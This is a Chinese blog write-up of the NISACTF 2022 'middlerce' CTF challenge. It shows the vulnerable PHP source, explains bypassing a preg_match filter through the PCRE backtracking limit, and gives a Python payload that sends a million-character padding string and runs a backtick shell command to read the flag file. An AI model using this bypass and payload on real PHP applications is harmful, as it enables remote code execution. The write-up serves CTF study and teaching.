首页 > 其他分享 >[NISACTF 2022]middlerce

[NISACTF 2022]middlerce

时间:2022-11-15 00:23:11浏览次数:66  
标签:__ PCRE 1000000 command 2022 回溯 NISACTF payload middlerce

题目源码

<?php
include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}
?>

分析代码,可知

preg_match把基本的东西都过滤了

这题可以用PCRE绕过,就是正则表达式回溯的次数在php下有限,否则返回false

可以参考P神的文章PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户

由于大多数被checkdata过滤了所以采用短标签来执行命令

<= phpinfo;?>等同与<?php echo phpinfo;?>

有与需要回溯1000000次,因此需要python来执行

最终payload为

import requests
payload = '{"cmd":"?><?= `tail /f???`?>", "$":"'+"$"*(1000000) + '"}' 
res = requests.post("http://1.14.71.254:29743/",data = {"letter":payload})
print(qwe.text)

 

标签:__,PCRE,1000000,command,2022,回溯,NISACTF,payload,middlerce
From: https://www.cnblogs.com/liudaxiaxd/p/16891056.html

相关文章

  • P8816 [CSP-J 2022] 上升点列 题解
    题目传送门:luoguP8816[CSP-J2022]上升点列这是一道简单的dp题。定义到达指两点的曼哈顿距离是\(1\)。我们考虑设状态\(f(i,j)\)表示考虑结尾是第\(i\)个点,增......
  • 2022-11-14 Acwing每日一题
    本系列所有题目均为Acwing课的内容,发表博客既是为了学习总结,加深自己的印象,同时也是为了以后回过头来看时,不会感叹虚度光阴罢了,因此如果出现错误,欢迎大家能够指出错误,我......
  • 2022级信息工程学院《C语言程序设计》阶段1考试
    ProblemA:七进制转换Solution要认真读题的题正经讲过无数次的进制转换,不断取mod做除法判断素数,\(2\)~\(\sqrt{n}\)有能除尽的是合数,否则是质数注意审题,“在此将......
  • 2022年02月25日-2021年02月27日 南京
    这是宝宝第一次来南京,我特地把家里收拾了一下提前买好了烟花,买了烛光晚餐的道具还有红酒,我们一起做饭然后共进晚餐,虽然这次我做的饭菜不咋地,但是我们能在一起二人世界还是......
  • 2022年02月06日 太湖
    这天是大年初六,是个好日子,这天我要去宝宝的老家,宝宝小时候呆过的地方。我早上起的很早,单枪匹马出发了,路过了太湖县城,驶入了山路,没过2小时到了,宝宝和弟弟已经在门前迎接我了......
  • 2022年01月29日-2021年01月30日 桐城
    29号早上的车回来的,中午去我外婆家吃的饭,因逢过年晚上,和宝宝的同事一起吃饭的再小芳酒楼,这次超超也回来了,感觉超超还挺逗的,晚上我们吃完后还去搓了顿麻将,我是真的不会打在......
  • 2022年01月15日-2021年01月16日 合肥
    这两天我们是真的开心,这是我们两第一次外出旅游,去了万达茂的游乐园,玩了大摆锤,过山车。跳楼机是真的不敢玩,太刺激了,这里面宝宝吃了一个很好吃的糖葫芦,看了一场精彩的马术表......
  • 广州2022CCPC补题
    IInfection知识点:树上背包第一次写树上背包的题目,没想到就是在区域赛中神奇的是树上背包的复杂度,看起来是\(O(n^3)\),但是实际计算只有\(O(n^2)\)学会树上背包后可......
  • 2022年06月04日-2021年06月05日 太湖县
    回宝宝家,这是第一次去宝宝太湖县的家,还是挺温馨的,阿姨去了还给我炖了个老母鸡汤,确实不错什么都不放原始的鸡肉香味,周日中午去汉庭酒店旁边买了一点龙虾带到酒店吃,还可以,路......
  • 2022年05月28日-2021年05月29日 安庆
    这次去安庆是参加宝宝同事婚礼,婚礼现场看一对新人有情人圆满幸福,但我不羡慕因为我有宝宝。还去安庆的一个老店面买了端午节礼物,一些是给宝宝那边的亲戚的一些是给我父母的......